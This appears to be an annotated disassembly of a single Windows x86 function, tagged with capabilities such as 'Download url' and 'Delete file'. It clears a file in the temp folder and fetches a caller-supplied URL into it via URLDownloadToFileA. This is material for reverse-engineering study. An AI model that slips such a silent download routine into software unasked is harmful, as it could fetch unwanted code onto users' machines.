Function at 0x411640
Capabilities:
Delete file
Download url
Get common file path
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x439c70
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x250
mov eax, dword [0x44f00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x260], ecx
mov esi, dword [ebx + 8]
lea eax, [ebp - 0x228]
mov edi, dword [ebx + 0x14]
push 0x104
push 0
push eax
mov dword [ebp - 0x25c], esi
call fcn.0041c210
mov ecx, edi
add esp, 0xc
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4116b0
sub ecx, edx
je 0x4116eb
lea ecx, [ebp - 0x228]
mov esi, edi
mov eax, ecx
mov edx, 0x104
sub esi, eax
nop dword [eax]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x411729
mov al, byte [ecx + esi]
test al, al
je 0x411729
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x4116d0
jmp 0x411729
push 0x2f
push esi
call fcn.0041be90
add esp, 8
test eax, eax
je 0x4119cd
lea ecx, [ebp - 0x228]
mov edx, 0x104
mov esi, ecx
sub eax, esi
lea esi, [eax + 1]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x411729
mov al, byte [ecx + esi]
test al, al
je 0x411729
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x411710
test edx, edx
lea eax, [ecx - 1]
push 0x104
cmovne eax, ecx
push 0
mov byte [eax], 0
lea eax, [ebp - 0x120]
push eax
call fcn.0041c210
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411765
sub ecx, edx
cmp byte [ebp + ecx - 0x121], 0x5c
je 0x411803
mov ecx, 0x104
lea eax, [ebp - 0x120]
cmp byte [eax], 0
je 0x411792
inc eax
sub ecx, 1
jne 0x411787
mov eax, 0x104
mov esi, ecx
sub eax, ecx
neg esi
sbb esi, esi
and esi, eax
test ecx, ecx
je 0x411803
mov edx, 0x104
lea ecx, [ebp - 0x120]
sub edx, esi
lea ecx, [ecx + esi]
mov dword [ebp - 0x258], edx
je 0x4117f8
mov esi, 0x44a6d0
mov eax, SysReAllocString
sub esi, ecx
nop dword [eax]
test eax, eax
je 0x4117f8
cmp byte [ecx + esi], 0
mov edx, dword [ebp - 0x258]
je 0x4117f8
mov dl, byte [ecx + esi]
dec eax
mov byte [ecx], dl
inc ecx
mov edx, dword [ebp - 0x258]
dec edx
mov dword [ebp - 0x258], edx
test edx, edx
jne 0x4117d0
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
mov byte [eax], 0
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411810
sub ecx, edx
cmp byte [ebp + ecx - 0x121], 0x5c
jne 0x4118b5
mov ecx, 0x104
lea eax, [ebp - 0x120]
cmp byte [eax], 0
je 0x41183d
inc eax
sub ecx, 1
jne 0x411832
mov eax, 0x104
mov esi, ecx
sub eax, ecx
neg esi
sbb esi, esi
and esi, eax
test ecx, ecx
je 0x4118d6
mov edx, 0x104
lea ecx, [ebp - 0x120]
sub edx, esi
lea ecx, [ecx + esi]
mov dword [ebp - 0x258], edx
je 0x4118a8
lea esi, [ebp - 0x228]
mov eax, SysReAllocString
sub esi, ecx
nop dword [eax]
test eax, eax
je 0x4118a8
cmp byte [ecx + esi], 0
mov edx, dword [ebp - 0x258]
je 0x4118a8
mov dl, byte [ecx + esi]
dec eax
mov byte [ecx], dl
inc ecx
mov edx, dword [ebp - 0x258]
dec edx
mov dword [ebp - 0x258], edx
test edx, edx
jne 0x411880
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
mov byte [eax], 0
jmp 0x4118d6
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x120]
push eax
push str._s_s
push 0x104
push eax
call fcn.004035c0
add esp, 0x14
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.00422827
add esp, 8
test eax, eax
jne 0x4118f8
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xorps xmm0, xmm0
movups xmmword [ebp - 0x238], xmm0
mov dword [ebp - method.CBindCBHttpCallback.virtual_0], vtable.CBindCBHttpCallback.0
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x234], 0
mov byte [ebp - 0x22c], 0
push dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x260]
lea eax, [ebp - 0x250]
push eax
mov dword [ebp - 4], 0
call fcn.00410c40
cmp dword [ebp - 0x23c], 0x10
lea ecx, [ebp - 0x238]
push ecx
push 0
lea ecx, [ebp - 0x120]
lea eax, [ebp - 0x250]
cmovae eax, dword [ebp - 0x250]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x411991
lea eax, [ebp - 0x120]
mov edx, 0x104
push eax
mov ecx, edi
call fcn.00403550
mov esi, 1
jmp 0x411993
xor esi, esi
mov edx, dword [ebp - 0x23c]
cmp edx, 0x10
jb 0x4119c9
mov ecx, dword [ebp - 0x250]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4119bf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4119ef
push edx
push ecx
call fcn.00419332
add esp, 8
mov eax, esi
jmp 0x4119cf
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004192ef
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x14
call fcn.004219d1
int3